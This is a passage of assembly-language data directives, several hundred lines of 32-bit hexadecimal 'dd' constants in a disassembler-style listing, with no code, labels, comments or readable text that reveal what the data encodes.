		dd 0CE16C300h, 59EE0724h, 0E84A01A2h, 0A6069A3h, 0E88C14C4h
		dd 7DC1F3Dh, 48116DDBh,	4A010869h, 4148B105h, 2A587D14h
		dd 40760831h, 5A035189h, 0A430C7Eh, 0C6190026h,	3706D322h
		dd 697C8E2Ch, 0D257590Eh, 0DF72415Fh, 0AD8BE3Ah, 0E4489567h
		dd 2502A903h, 750F36C7h, 50D8D3h, 0B48B6D69h, 0B8066CECh
		dd 9D4770Bh, 0F46CA291h, 79A871F6h, 0B1D4194Ah,	1A30012h
		dd 5E952A21h, 0E35B5C6Eh, 78202480h, 0D511254Ch, 5192E807h
		dd 7B57AA28h, 7D4E0021h, 0C7B0A437h, 0BA0572DAh, 750934A6h
		dd 5E0BB891h, 1F90A057h, 6F5980h, 0C418CE52h, 0D8CDA64h
		dd 3FB56A02h, 54E56D9Ah, 5700BB6Ch, 51F59CA6h, 14008949h
		dd 25C279DEh, 5340A09h,	2CBAAE30h, 88A00156h, 29D95957h
		dd 0F35C20FCh, 0B64B8C29h, 0C3270020h, 9BFD998Ah, 776702A6h
		dd 8B8118B6h, 4C09EC50h, 712F4815h, 194679D4h, 74CC9C4h
		dd 63ECE04h, 56C9EDh, 811378C0h, 3F2309A3h, 1466736Fh
		dd 0DBC70F02h, 805B46D0h, 8F18FDCCh, 4896099Ch,	0FC9DFE49h
		dd 20849A11h, 28FD80F8h, 22B70142h, 13233ACh, 0D061D30Ch
		dd 0F2485C8h, 2B080CC1h, 92D6432Eh, 2155E104h, 549130E1h
		dd 88281903h, 90882C02h, 602D6Bh, 0FC0918F8h, 0F030A3F3h
		dd 21D51778h, 93DC40F1h, 0B6C03CAh, 96800494h, 0D08C7611h
		dd 99B600A4h, 0F132DBA5h, 0A6021E61h, 0FDC16014h, 559082FAh
		dd 240C5292h, 0FC5802D3h, 0ED8F0B04h, 28EAEBDEh, 0DA8B48F8h
		dd 8A3A4028h, 0A2D4A097h, 2E8CA063h, 0C8DD15C6h, 205FA831h
		dd 0E6B3D9E4h, 0FF99C905h, 78B37E60h, 473042B2h, 8872002Bh
		dd 0E57B7E7Ah, 0C897401Bh, 0A2FC9168h, 0FE0C1088h, 4841C058h
		dd 64F84D96h, 570691Dh,	0A5E0BFC1h, 3C308C08h, 4560B44Eh
		dd 4504C80Bh, 2EFF1200h, 9B242B05h, 95770023h, 141DA13Bh
		dd 4497B6BAh, 0D6150028h, 0EC43B058h, 0A07C596h, 196F8F8Ch
		dd 8DF46D13h, 10348854h, 68034AEFh, 43EEC7CCh, 0B78A8D0h
		dd 0E4A9552Dh, 4DD22078h, 41C15E1Eh, 8B305BA7h,	14977B9Ah
		dd 0B001C6B9h, 2072F164h, 0A8BBD4C6h, 46C2F09h,	40B8F1DEh
		dd 5965B828h, 3FDEF00h,	15E54DF7h, 0B4BD5E7Fh, 0F517C3A0h
		dd 9CA03847h, 0BA4F8098h, 3C524920h, 59E0D204h,	0D36E6A27h
		dd 28349B30h, 40051135h, 0E605F42Ch, 9F850F87h,	6F2C8CE8h
		dd 32E90804h, 0A497E000h, 4A02353Ch, 0C08CDE4Eh, 0D483E142h
		dd 17D50136h, 6A3A19C0h, 0BF77EC70h, 5BA8A43Fh,	0ABC39C27h
		dd 0EC90B488h, 27830B26h, 68418FE4h, 7D0F10A4h,	3C3F49CFh
		dd 0F652CC22h, 431A00A4h, 6C994750h, 0A52303BBh, 0A2581C66h
		dd 11C13DF0h, 561C6092h, 6464E473h, 224F4824h, 0D9F7F02Ah
		dd 0C8C5AD34h, 926095E4h, 641FA783h, 0DD416C40h, 0A3704F06h
		dd 8C018DDDh, 65E5E14Ch, 0BC386820h, 7748C2Fh, 0E82F90Eh
		dd 454C80DCh, 5B6028DBh, 0F2C04448h, 2A0104E6h,	3AC67C80h
		dd 516200CBh, 9F2BC4FEh, 947974E0h, 0C580449Bh,	476D0F57h
		dd 8440CB2Dh, 3F16DC6Eh, 98567908h, 5048E09Eh, 0C0F438DAh
		dd 9060879Fh, 0A3E94B16h, 0A67E09BCh, 9EACE65Ch, 0CD4F61C4h
		dd 3CF9E36Dh, 771182C2h, 0AABD0Bh, 0DD63F954h, 6201B027h
		dd 2B80C0B4h, 20DE819Eh, 0D33AACA4h, 0F1816B4Ch, 7147189Ch
		dd 884FBB70h, 21FB0084h, 0D0EEBE9Ch, 20A57CFBh,	3A9D2982h
		dd 710301FDh, 31C1079Eh, 1881283Dh, 91140A68h, 7EF088F3h
		dd 0A77C004Bh, 0EDC1D359h, 5AC05453h, 20DCD030h, 0C790A84Ch
		dd 44AB166Fh, 14702794h, 0C8D90959h, 98E807D8h,	1152626Ch
		dd 6480D758h, 0DA63925Ch, 6141F000h, 0CB705A83h, 0B3370055h
		dd 2C3C53FDh, 7C038ECAh, 0C5A34FA6h, 0EF20006Fh, 7038557h
		dd 0ACE4C9FBh, 7FFA7012h, 83186402h, 80C0F4BFh,	0E8675610h
		dd 4F00D544h, 8B429C7Dh, 7B62AB87h, 0FC049296h,	70170E6Fh
		dd 14A09456h, 6649F6BFh, 7D24E650h, 0EC5C9A00h,	88269BD1h
		dd 3E861383h, 3044E505h, 0C0AB53C4h, 17705FF8h,	0FAC4F50Bh
		dd 57405457h, 0E85C6740h, 0E41B2850h, 0C2D331E0h, 1BC3508h
		dd 20881A27h, 0EC08F66Ah, 0EED2086Eh, 8D55A0Ch,	0ED7F4142h
		dd 5730885Dh, 35C0C86h,	0FF40AC10h, 88866E6h, 3731316Fh
		dd 0A8B0879h, 1DF7288Ch
		dd 0AB631F08h, 19D04118h, 79D72608h, 0C45101D9h, 1CE6A01h
		dd 270121E5h, 8C1403E3h, 66B0C04h, 63102388h, 5A5F41C1h
		dd 41CB1031h, 88CB1B8h,	95181852h, 7BE0F9C6h, 8D162D9h
		dd 6106D4AEh, 0C7A31F9h, 881EF628h, 81B9908h, 0B90856FDh
		dd 609F0815h, 38717F0Ch, 0A2124096h, 631A1C40h,	0D62C18CAh
		dd 0D3640810h, 20675518h, 0EB81EFB4h, 2652D451h, 41931899h
		dd 0A4798882h, 80D71553h, 2AB78810h, 2820AC4Dh,	0B22A20B6h
		dd 7E000D49h, 4028F940h, 76EC0DCh, 0CFBE818h, 1910133Ah
		dd 85E439C6h, 0B04E5408h, 86F66B5h, 0E543167h, 5D402E90h
		dd 564A4084h, 27F14C41h, 1559201h, 64010503h, 0C7A99001h
		dd 12B56110h, 4C59FEA3h, 39884559h, 0E0C621Ah, 0C46518B8h
		dd 61FEFF1h, 2008589Ah,	0C5490844h, 0C1DC102Ch,	10876010h
		dd 0D72AD8CCh, 4B2820ACh, 0D889954h, 64816840h,	64EB966h
		dd 6220DE0Fh, 6545D94Ah, 2ACC1403h, 2098A218h, 6E337D5Bh
		dd 2A8369DBh, 33E02208h, 1F10B001h, 0E8706ACh, 91656308h
		dd 2015ECB5h, 20887A2Dh, 0BC7020BDh, 8B30132h, 3EA44839h
		dd 8929D882h, 0A780C247h, 0E3B980C9h, 0D5F75F80h, 0D5188479h
		dd 4D1E400Bh, 21C46C92h, 860CC008h, 0A892B441h,	66F53620h
		dd 59E4F980h, 20DDB720h, 0F220C62Ah, 6A073161h,	1280B10h
		dd 0E9902085h, 75B71021h, 0F1C0333Ah, 0FCB1E164h, 4D41A04h
		dd 7B04FB95h, 9EB40654h, 26C44079h, 51A4D8A9h, 3849BFCh
		dd 13C92AC2h, 0AD142090h, 20CB4120h, 7920735Fh,	6B6320EEh
		dd 54FA2F20h, 135CE46Ch, 20F64E7Fh, 0F9725BA4h,	0C1589270h
		dd 71C303ACh, 0FF58B11h, 4F43AB10h, 7EF405Fh, 0DAB096DFh
		dd 0D0B159h, 377D50FCh,	458DD9h, 73E11EF0h, 0A831C66Fh
		dd 52EC701Ch, 53CD9AFh,	80ED0D84h, 0A6AC7F76h, 1DBA413Ah
		dd 62D8FFBBh, 15A8690h,	527C8DDDh, 935E3EEFh, 0F4E5FEA0h
		dd 0B08B4430h, 0B60707C8h, 6FCD6856h, 6B54A280h, 0FCB8DB11h
		dd 99A4FF18h, 30E58C30h, 0F4B0A159h, 7B0C3182h,	41853666h
		dd 48D03076h, 35EE0550h, 0A85CF515h, 0C1810030h, 0FA152C66h
		dd 67F30071h, 0CD543D6Dh, 37003ED1h, 1372ADAFh,	3F94534h
		dd 9EF4CFFh, 0B004C123h, 8BA841DEh, 26F40A4h, 0FF40D7D4h
		dd 0FCE00B7Fh, 0A8BEC9CDh, 680C4589h, 0F794D04h, 7D284409h
		dd 73CC6800h, 3A07B627h, 6F4B69FCh, 0F50509C7h,	672540D0h
		dd 41A90393h, 0A7780A45h, 11D64817h, 3AE598B4h,	84575581h
		dd 61FD8C10h, 88F9D6A1h, 5E053181h, 8B0F8236h, 0AFB3F508h
		dd 0B8AF8A84h, 0FF3AA801h, 0C990FEE8h, 266C80E6h, 958FE532h
		dd 0F94FCE0h, 0D8249202h, 0A398F4DFh, 0A6209DB0h, 61940148h
		dd 509E3D4h, 918887B7h,	8FC0B195h, 16645A5h, 0FDFA5665h
		dd 803943FEh, 67E529A0h, 5CBD3115h, 0C901E70Dh,	3A552736h
		dd 866DE90Ah, 8319FE48h, 0C8CD2830h, 47720650h,	26FD0185h
		dd 0A30A591Ch, 513CD86Ah, 4B9110A8h, 0A0D66100h, 3F776E57h
		dd 0F4AEAB09h, 1C4F427h, 0FD44B973h, 0CCAD07Ah,	3F09B40Dh
		dd 0C9F438DAh, 7F3928E5h, 0FF3C0C80h, 358861C3h, 0BBF57400h
		dd 535E9C9Ah, 933A00E7h, 540B3956h, 0B8AADF50h,	940A5810h
		dd 71589A61h, 842457ABh, 51C18995h, 990E14h, 12A8A9D0h
		dd 3113D73Fh, 8E817000h, 0C4456A90h, 7881F60Fh,	0E1087D4h
		dd 9800D553h, 5BDF1057h, 30F479B8h, 0BB20E2D3h,	6B7FCFF8h
		dd 0DB416209h, 0E8B40238h, 7D004028h, 8B6024B5h, 3FB21FC3h
		dd 2B83E50Ch, 0DF12DC98h, 7C06739Dh, 90ABBCh, 0A98B4C81h
		dd 6208CB45h, 8033AAA1h, 530BBD68h, 0C7E436F5h,	726A5710h
		dd 74A2C7CCh, 8C401D51h, 0AAA00752h, 0E4014CA0h, 4A91E14Dh
		dd 0E6CFFF29h, 0EC762768h, 35FE5CA0h, 801C288h,	9F56686h
		dd 7C2447D5h, 0BF78035Eh, 1BADC7B1h, 0D8A0D782h, 489E9325h
		dd 0B01CA5E0h, 0F0B063FFh, 50A3E585h, 72A874h, 0F66BD411h
		dd 8B53845Dh, 0DB3DF105h, 0C403DD8Dh, 1FC7930Ah, 6E8C6369h
		dd 0C57D0005h, 85BF8270h, 4FF78A00h, 0EFCCFDC2h, 0CEA000AAh
		dd 0F2D73899h, 3B1D4A7Fh, 0E0EAE56Dh, 8089F600h, 12FF9537h
		dd 749A97h, 59DDA97Dh, 521678A8h, 0B5B8FD1Fh, 3F063E40h
		dd 0A4DB4D14h, 72553808h, 85678000h, 1E33F4C7h,	744F4A00h
		dd 2310D7C5h, 0CF0103E5h, 39DE0B7Dh, 59E2C811h,	0FF195E00h
		dd 2C4B3A8Bh, 0B16D700h, 0FE23FA20h, 7FF17D10h,	0CFBF87Dh
		dd 466045ADh, 9E00DF90h, 6C3EF64Bh, 9A61C8E6h, 17D50010h
		dd 31866889h, 845964E5h, 83757B30h, 0CE1EE21Fh,	0F50AB607h
		dd 4EFF73E0h, 8B6F37E6h, 0E9EB3328h, 0BE653016h, 3D50009h
		dd 4FD8F7E4h, 22F0A108h, 26E53F6Ch, 0FD800425h,	8F9E416Ch
		dd 0A44C24F4h, 0AFB90238h, 6C6113CAh, 0FCC2F0FFh, 98300F81h
		dd 978030F5h, 65137328h, 0F7BE2B17h, 18FD7500h,	3FBABDEh
		dd 0E59BA060h, 0A00FDBEDh, 68AEB4Ah, 4C7955F3h,	0F582F416h
		dd 0AC69D43Bh, 0C074C011h, 89023090h, 0DB360603h, 0C2B443A8h
		dd 0C76468A1h, 466105EFh, 49D80A8Fh, 0A48148C8h, 64325E70h
		dd 5017E5Ch, 0E9D46412h, 38411371h, 0D433F1CDh,	0FFA3E20h
		dd 0B46098D3h, 75740D5h, 2EACF409h, 762A43CCh, 696AA831h
		dd 3B88E5h, 86FCEE5Ch, 0FF2C4F6Dh, 0D387BCA1h, 4E61F6BCh
		dd 0C9C656F9h, 4860D5CCh, 3F5B370Ah, 30A06768h,	0ADD41264h
		dd 9C62B206h, 4606FCFh,	0CCF16A53h, 11DCCCC3h, 83D764A1h
		dd 1FF46EA0h, 8998013Fh, 85A05F75h, 6CD8A670h, 25F46CC0h
		dd 0A428C072h, 0E583700Bh, 0D0AE1428h, 1A074202h, 7EFC0A4Fh
		dd 0CA227DCh, 36402C72h, 10C2E257h, 81F43871h, 4B9DF5D0h
		dd 817B5096h, 20845458h, 954A6034h, 98D310E1h, 2609C528h
		dd 80E09361h, 0C82C8356h, 2379FD6Eh, 0ED171C00h, 4A5C65DEh
		dd 0F860418h, 8D41DCF8h, 8ECC21E4h, 0B61EFEC9h,	4BC78040h
		dd 33E53ADEh, 3E20326Fh, 2C94B024h, 2833588h, 866C24A5h
		dd 205B5484h, 38318E6Ah, 972F1305h, 30D68C41h, 7164E0D4h
		dd 0F8ECD1F0h, 802FFE17h, 915126CCh, 0ACADACA0h, 1098DD59h
		dd 650578FBh, 21B7FD8Ah, 632466BCh, 406F2540h, 9E825C8h
		dd 0FC72D2D7h, 530CF880h, 31E0B97Dh, 0F3566007h, 0B7E38C44h
		dd 32CE097h, 5513014Ah,	98F5154Bh, 0FDD881A0h, 0EB934D09h
		dd 14D269C8h, 0BCD0F8BDh, 32367005h, 0CAA480CEh, 5004B0E5h
		dd 566F7C4Fh, 0A0860C9Ch, 24FF42BCh, 8090A2C6h,	0FC88DEC9h
		dd 0F175EA91h, 0E455642Ch, 5C50A5h, 0BC3424B5h,	9C177252h
		dd 89DDB05h, 64EC22F5h,	0DF232C00h, 0F9735516h,	0BFCED12h
		dd 6D775404h, 8136A088h, 69999474h, 85C04CC4h, 4CE057B0h
		dd 5B880349h, 0E5810A35h, 0D499B001h, 24BE09DCh, 0A1DEC841h
		dd 0D77FC041h, 782A6400h, 8ECC3200h, 0F46DB9A5h, 28B609h
		dd 8F60DE59h, 865AF125h, 0DA6A68C1h, 0B8109828h, 89673CB0h
		dd 21555309h, 1805839Ch, 6AC93C3h, 57394F20h, 7841586Fh
		dd 0E52D9C4h, 0DF984733h, 0A008E502h, 0BF4F9881h, 0C693E38Bh
		dd 10001058h, 0AC407651h, 6B2A0113h, 67D73D3Eh,	37A13071h
		dd 567AACE6h, 9C5F2000h, 0FBA5CACCh, 6A62179Eh,	0D73C4948h
		dd 5C596C46h, 74722624h, 0F6C9D360h, 50882671h,	0F8ACA068h
		dd 0BEF9C8E2h, 0AEF088h, 10415F82h, 0C7009803h,	0ECE70D29h
		dd 59B0E60h, 73CFB18Ah
		dd 57480BBh, 0A5134C52h, 0F501ABFDh, 0AAFF89EAh, 85D8096Fh
		dd 0A2613030h, 1C1778D6h, 0BECD5C00h, 4CF9727h,	0F54FF23Bh
		dd 4091AE9Eh, 80FF385Bh, 0C46BCB09h, 88A98540h,	2084D768h
		dd 0F1034F98h, 0AC076F4Bh, 8C00FD58h, 25A831DDh, 9BF51448h
		dd 5309D077h, 3806231Ch, 940139B9h, 0A540841h, 7834B67Dh
		dd 5DA8A617h, 4303DC1Ch, 0FC616472h, 0C27385F0h, 2753830Eh
		dd 0BED5200Ah, 19FE573Ah, 0F155F656h, 3F5C20D0h, 0D99CE894h
		dd 7D6C05E0h, 95C42DE5h, 18C519D8h, 0AD820DEh, 909A017Dh
		dd 0D89A972Ah, 0D57A000h, 67D94DCBh, 2EC10080h,	0F261375Ah
		dd 840B317Dh, 0E9E5FF3Eh, 82D1C450h, 2EE0FF0h, 0F6C8D335h
		dd 0CCA4CEFEh, 5E366170h, 3CE8C8D2h, 0A540C1EBh, 2ACC70C6h
		dd 0A9DA3C04h, 0BB8785C0h, 61980662h, 78CDF297h, 33FF9408h
		dd 285123Dh, 38F4F8E9h,	0BD009450h, 0D4675323h,	7BF74171h
		dd 0F4EA19B3h, 0C903696Ah, 9E087036h, 3F88BC50h, 0A8525F01h
		dd 74E1FF7Fh, 0C0836025h, 5D78F493h, 0B57D5804h, 0E4C98762h
		dd 14294861h, 0C02102C4h, 6506390Ch, 5C775126h,	2705ED68h
		dd 68D05AF5h, 9DFE0A53h, 75738CC0h, 749EC117h, 9DFF9CC1h
		dd 386898Ch, 978A68h, 0B495EAA4h, 6CCC489Ah, 0D02F9000h
		dd 551EFF9Bh, 0DB2830C0h, 176B4472h, 409ED7E6h,	0FD8BE380h
		dd 693DCFB5h, 0FADF17EEh, 0C1603A10h, 580E1D72h, 77C0F447h
		dd 19F86209h, 80EEF24Dh, 0FEE048B1h, 0CD71BA60h, 69046EBh
		dd 0A60AA22Dh, 60020D3h, 6FB00492h, 2C15EFCDh, 3E4C0357h
		dd 0A567784h, 0E14D0D6h, 5C009E79h, 71CE6693h, 0F615F7h
		dd 0E60C9A36h, 5417FEF5h, 0F6F0C8A9h, 8B518450h, 0DC409A9Fh
		dd 24E8CC10h, 8344EB4Dh, 57A68B61h, 6AD4C8E4h, 4068F44Ch
		dd 0A26D8B78h, 75CC5949h, 0B31E294h, 7284F117h,	3AFBED80h
		dd 0EA710D58h, 0DEF0D604h, 40C2539Dh, 7D0CE025h, 605616EBh
		dd 80F31462h, 3F360077h, 0A249B2BAh, 72274103h,	481C09C5h
		dd 8506F0h, 0E6CC65E1h,	7BDCAEE5h, 0F4E76905h, 0A8D48476h
		dd 410218E9h, 0F20392FFh, 8A2010C4h, 0CD6D03AEh, 0FED1EDE5h
		dd 505864A2h, 53D2971Fh, 2441040Bh, 7881E270h, 6A02D846h
		dd 0DD5AD0E0h, 4F407718h, 0F5B60D4h, 94E60243h,	64A07420h
		dd 7B730C89h, 9A3966EEh, 71DE8FADh, 0F617E099h,	532C8B88h
		dd 406EB0E9h, 61CC0497h, 932385F4h, 0A0B49BD0h,	0BCF86540h
		dd 551EDCBAh, 40F4A80Ah, 2E03D0C1h, 0A5B45300h,	60CA4500h
		dd 1373EF41h, 14661DD8h, 0E5AC43FAh, 0C803D626h, 4075693Bh
		dd 538049Ch, 0A44F3606h, 54B19878h, 7DDB142h, 40DB326Ah
		dd 8CFB440h, 970FACA0h,	41CD5301h, 4D8816E5h, 0F583C829h
		dd 68046540h, 0D5830A5Fh, 10D9B8D4h, 10C1D044h,	69024448h
		dd 0E9B878E0h, 88F20903h, 0C2F4F6C3h, 80748170h, 63EC905Ah
		dd 0F06B030Fh, 1CA5515Dh, 81290D81h, 9DDD598h, 70838FE8h
		dd 6A88F9D4h, 43625800h, 0D2E5EDDFh, 45B0C0DCh,	784C6F66h
		dd 841DB8DFh, 8714C9F1h, 1AC4E830h, 808130F4h, 737854A0h
		dd 75137121h, 4010084Fh, 7D06749Ch, 60FC0920h, 2C6C9A78h
		dd 14642E6Ah, 287CA180h, 35FCD13Ah, 1699D53Fh, 0A4242Ch
		dd 358772F8h, 0F52D2118h, 9E985074h, 522D3C7Ch,	23FDFC00h
		dd 4B07D04Fh, 5C68DF90h, 614979D0h, 81BC600Ah, 3ABB8666h
		dd 6B139B05h, 0E052426Ah, 49436881h, 0B00AE030h, 1A89AA5h
		dd 86D86FF4h, 0DBAD05C3h, 80E339C1h, 14E05770h,	3FB45A4h
		dd 0A600886h, 387680C0h, 46157509h, 0F558E84Ah,	168C9EBBh
		dd 54E4404Ch, 0CC9D1862h, 0F51A6174h, 0E6C898EFh, 0FAD40ABCh
		dd 15986C88h, 0F84A9C60h, 450A9380h, 6301C8DAh,	0D47E9D4h
		dd 0E1046033h, 880F643Fh, 0E8FFFD5Ch, 2F03D3A7h, 0B5FE6157h
		dd 0DD1112E4h, 0E554D1A1h, 70C23B15h, 3E4481DBh, 0A085513h
		dd 8578BF4Ch, 44B1A849h, 0A039443Dh, 2824E5C0h,	0CE046043h
		dd 50BCC7FFh, 0A2EF0A76h, 53851DDh, 8C6BDF64h, 0A175770h
		dd 244F8C15h, 2850D18Ah, 82750464h, 82A614EFh, 6C680690h
		dd 0C2F2D910h, 0D7D53703h, 0E95209h, 844F1441h,	0ADFD892Ah
		dd 74CE6301h, 5CE4FF67h, 0A0DB5894h, 0B9E32478h, 0E5870194h
		dd 394D7C7Bh, 825180F0h, 33772743h, 1140C37Dh, 142B3000h
		dd 0BD51B8F7h, 0FD9017h, 0D0C7C5CFh, 11157264h,	601525FAh
		dd 678CACF5h, 904929C4h, 161DC1A0h, 123C6888h, 0C4620114h
		dd 0A0C9CC77h, 7107A078h, 7392E71Bh, 18809025h,	21F74EBh
		dd 0E5F48750h, 0E4F2C045h, 367F9498h, 0D890DA31h, 0B9022D0Dh
		dd 0ECAC0CD9h, 0C4887193h, 4A3230F5h, 634D31A0h, 2F8CEA07h
		dd 9FC02A65h, 7D46E9h, 0D4346DBBh, 0FFB90C3Ch, 0F5221302h
		dd 444A8029h, 64860AC8h, 0A4E8CE9Fh, 3B580D30h,	14A02348h
		dd 25800592h, 66E4B870h, 72551281h, 0BD00C817h,	804F64Eh
		dd 0A4D76F0Ah, 0F8697FF3h, 304E8931h, 3E4158D9h, 686156FEh
		dd 0A078E558h, 0C9E946Ch, 46106598h, 64F0DF2Eh,	64543C20h
		dd 0BE097D50h, 0E1B0D66Dh, 7F9D4Ch, 69220510h, 0EA00DD0Ch
		dd 0A5619032h, 39A93128h, 74AEE9h, 9D988DDEh, 7C2EA666h
		dd 141737E4h, 5CC07EE6h, 9472698Bh, 0FF6A4098h,	3909C6D4h
		dd 0E05CF46Bh, 0B87DCCh, 3E16FAD7h, 8B4D327Fh, 0DD87CA00h
		dd 0CF346EF0h, 25949939h, 79606480h, 0F2038FA9h, 3FE5851Ch
		dd 707366h, 2F103180h, 6F6A0B33h, 7FF53A09h, 1444206Bh
		dd 5C475734h, 4F3870h, 297ACD38h, 66028E32h, 0BDF4E91Ch
		dd 104C6841h, 2F680E38h, 56E05FCCh, 53B74772h, 54731818h
		dd 0A0C41C8h, 15D728FEh, 4B7105A8h, 0C44A253h, 11AB8A72h
		dd 16E4B038h, 471B056Fh, 0E2DF41FCh, 8066B8FDh,	0A289132Fh
		dd 9DF544h, 66C61972h, 0CC64EE00h, 9BDC68C3h, 880A2FA9h
		dd 0AE1398A2h, 0F41658D9h, 346964C0h, 516F63CCh, 68005C99h
		dd 830755F6h, 0EC17581Bh, 0BC0C4B45h, 5301852Ch, 808BD897h
		dd 65414DE7h, 42340126h, 6EE5FC03h, 0F83424A4h,	21BECC25h
		dd 5218780Ch, 0F500006Ch, 4F4A2046h, 13007262h,	243B848Ah
		dd 2009D14Dh, 0DE5C9B7Ah, 90B42F04h, 16B817E4h,	8981D2Fh
		dd 3F7E98h, 0EF48A411h,	0F3386Bh, 0B1516A5Ch, 412D9DCDh
		dd 624078B0h, 6C1248D7h, 2C0F078Bh, 30CAA029h, 10E4FC6Ah
		dd 51F27809h, 42E48B03h, 1807858h, 0ED9D388Bh, 5079FF53h
		dd 48DC67E0h, 7EE51000h, 0E6CD3B4Eh, 0F62A0FB5h, 82601C89h
		dd 0F61A7BFh, 847E4Ch, 4ED3148Fh, 3109D69Dh, 6AA0A4EEh
		dd 874830A2h, 12F04148h, 906085F5h, 0A6BDCCF7h,	0EE1740A8h
		dd 0B07050A2h, 6BC2BD03h, 28470AA0h, 5A48441h, 37318E62h
		dd 3DC0B25Fh, 9681C055h, 896196C0h, 0E59EF0F8h,	9095DFE8h
		dd 7465434h, 57394E66h,	1105B06Bh, 0ACA60CD8h, 0B824B141h
		dd 2C10412Fh, 9A32787Ch, 0B47D1002h, 0F2C8881Ch, 0ADD401E6h
		dd 0DAF46C3Ah, 0B20749Eh, 0A016D826h, 0E88DF562h, 5488FF9Ch
		dd 0BDBC851h, 0F4381C71h, 0BF835400h, 0A604920Eh, 0E84F0AA5h
		dd 813934A0h, 9307926h,	445B6776h, 0D7F52E7Ch, 10B9244h
		dd 0A4E58A04h, 4270828Ch, 7A9F5AFFh, 65021C80h,	38326F94h
		dd 0BEBD8C3h, 95967FB0h, 8FDA4D03h, 0E850BD0Fh,	0B6A2E616h
		dd 5A893220h, 788AA85Bh, 0F02CF414h, 360B188h, 33A40A58h
		dd 0DA736810h, 0D3B0644Ch
		dd 2495F6EBh, 2488DF9Ch, 0C1F198F4h, 970A5A48h,	0F630093h
		dd 5E9E004Bh, 0E11C5246h, 0A184C7Fh, 0FF20672Dh, 58EC6BBDh
		dd 197DA418h, 60B1D490h, 55100700h, 0CC42BFF5h,	0E5196260h
		dd 0D0339E37h, 0D4C5E265h, 0F2B234D0h, 0ABAD1255h, 40D4B3D7h
		dd 0F052CDB8h, 546A2684h, 4859A191h, 0EE016F89h, 558A5B7Fh
		dd 0D9404BBCh, 0DB4D98A0h, 0F726173Fh, 5F1F6883h, 0CCC7A580h
		dd 46F787Ah, 0D0090141h, 68B890A1h, 1B14725Ch, 5F89461h
		dd 0A811E586h, 0E0DFFC1Fh, 0FFA6C342h, 3AE4E8E1h, 7440020Ah
		dd 228CE583h, 300CA469h, 63F69787h, 91464102h, 6027F2F4h
		dd 5A0A617Ch, 684881EEh, 8C06688h, 329387FEh, 6CFC4778h
		dd 0B3024300h, 0B079418Fh, 40EB01BCh, 3CA0B1FEh, 13CB306Ch
		dd 0C452864Fh, 93D574B0h, 0D9768408h, 28709637h, 207F2925h
		dd 7012AB88h, 0FF620C5Ah, 0AA319491h, 5FE58A40h, 958C0401h
		dd 0F684D1DDh, 13D433E0h, 0C700F16Ah, 0E4CFFDD9h, 8AFF2F61h
		dd 904004C2h, 0E6606F09h, 0C8D26D30h, 0CC3297F6h, 0DDD56440h
		dd 0C578715Ch, 0D090CBF5h, 0B4D73D58h, 59F762E8h, 0F1D13E02h
		dd 0C86A0F90h, 920033Dh, 4809D03Fh, 0E6B1EB71h,	0AE680114h
		dd 2EF5255Eh, 0A55080ECh, 754C6DBAh, 93021D42h,	8D81C087h
		dd 38E71C44h, 49DEC200h, 62B27E26h, 3C9C9ED2h, 16E0A881h
		dd 702E9241h, 0FE000254h, 0F0773A1h, 177CD58h, 0CEE3A8B0h
		dd 64D15909h, 8C00F864h, 7D7EF6A0h, 6910D7AEh, 0F4E0118Dh
		dd 16168F5h, 5824FCF8h,	807A4430h, 9CBE0FFDh, 54BCC744h
		dd 0DE596F00h, 612D715Dh, 0BFF0D71Eh, 0DBD2CB58h, 7CA8002Ch
		dd 0BEA08A57h, 2D0B8E5Ah, 0C3751CE5h, 0F81A4B60h, 0B04927E0h
		dd 4813F5FCh, 6245824h,	8D2600C8h, 0B17A1B48h, 5F53F001h
		dd 52EAB28Ch, 5483E0h, 0CFF669CEh, 3AF91C84h, 8BF4003h
		dd 0BABD4CADh, 8F866D7h, 9D35EF37h, 0C1E08514h,	86D1667Bh
		dd 1DC4F432h, 0D38B0292h, 648C5680h, 144052D7h,	0B6259A94h
		dd 87DD5845h, 0D561200h, 55AEBE5h, 331AF702h, 80929BF5h
		dd 6495B6A8h, 72AE008Ah, 0EFFF2F8h, 0E600CC7Ah,	6D6F6110h
		dd 0E9093Ch, 0CD3DF650h, 268B25EBh, 0F900C2F0h,	0AB1BFD96h
		dd 985D1C48h, 0A881D30h, 97A0AAEFh, 74202889h, 9B38E24Ah
		dd 0F4062F26h, 0C9950A06h, 0F03E0028h, 8713F25Fh, 0E1018B57h
		dd 6D99A9A8h, 3280C7CCh, 0E9691C8Eh, 1D3F7D8Ah,	9D4D7DEh
		dd 48ACFD86h, 4CCEFEFCh, 61C38445h, 0F0CECFF4h,	82705427h
		dd 9869638h, 0B9310C84h, 784AD328h, 4C24B0CDh, 0E9866B43h
		dd 7AE80F8Bh, 6670033Eh, 9D2071D7h, 672CB280h, 824810C1h
		dd 0D4EC5E37h, 0FF4009D3h, 540222F7h, 7458587Eh, 7CE40A1h
		dd 3FF4EC40h, 4A349025h, 64C4C163h, 8DA1AFA8h, 8A538E8h
		dd 2A649018h, 18001077h, 66DD5A3Ch, 12657D7Ah, 444941FFh
		dd 0E3360h, 4726ECC0h, 48AF97ADh, 93E38C7h, 3F9CF800h
		dd 840B5C0Bh, 444927E5h, 4EACA034h, 0F19E0073h,	9B1F18D6h
		dd 0D8982EFAh, 0BD057078h, 61F5E025h, 96C12C80h, 4C8D00A6h
		dd 145794EEh, 777E0A5Bh, 2DC5682h, 3D2B683Fh, 4FFD9411h
		dd 6A87F600h, 9F054817h, 0D0A0BC16h, 1BD70739h,	7272A5AFh
		dd 0A863B807h, 0A6093BD0h, 6890EEECh, 0AD80997Fh, 40849D23h
		dd 413C903Dh, 97020510h, 82F532BAh, 27507133h, 60302C68h
		dd 2C386182h, 68050C38h, 0A6A0DB55h, 2CAD03F8h,	0C0D56736h
		dd 3A4C31C1h, 54189184h, 9D6C0872h, 0AD8AD91Fh,	28263C9h
		dd 755E574h, 406B6049h,	0C64CF1CAh, 58772447h, 102724BDh
		dd 6FD49E04h, 5645080h,	550A80C6h, 540E749h, 0D909D466h
		dd 0B86A48D3h, 2F725738h, 0B0909130h, 7360EBFFh, 8B558210h
		dd 22EC5B2Dh, 2044DDA8h, 10515DE8h, 16AC7984h, 58400B57h
		dd 0EE1732D5h, 92E6F88Ah, 8B5301FFh, 2C89A794h,	106830C9h
		dd 3F40DF00h, 41AD03ACh, 1808DBFDh, 3CE2AFB0h, 6C097D03h
		dd 8071C64Ch, 0BE49580h, 785DF479h, 0F53EE468h,	0B40FE726h
		dd 2B35FE81h, 0B6614B8Ch, 1FD72E4h, 2757ABFAh, 0A77B94F5h
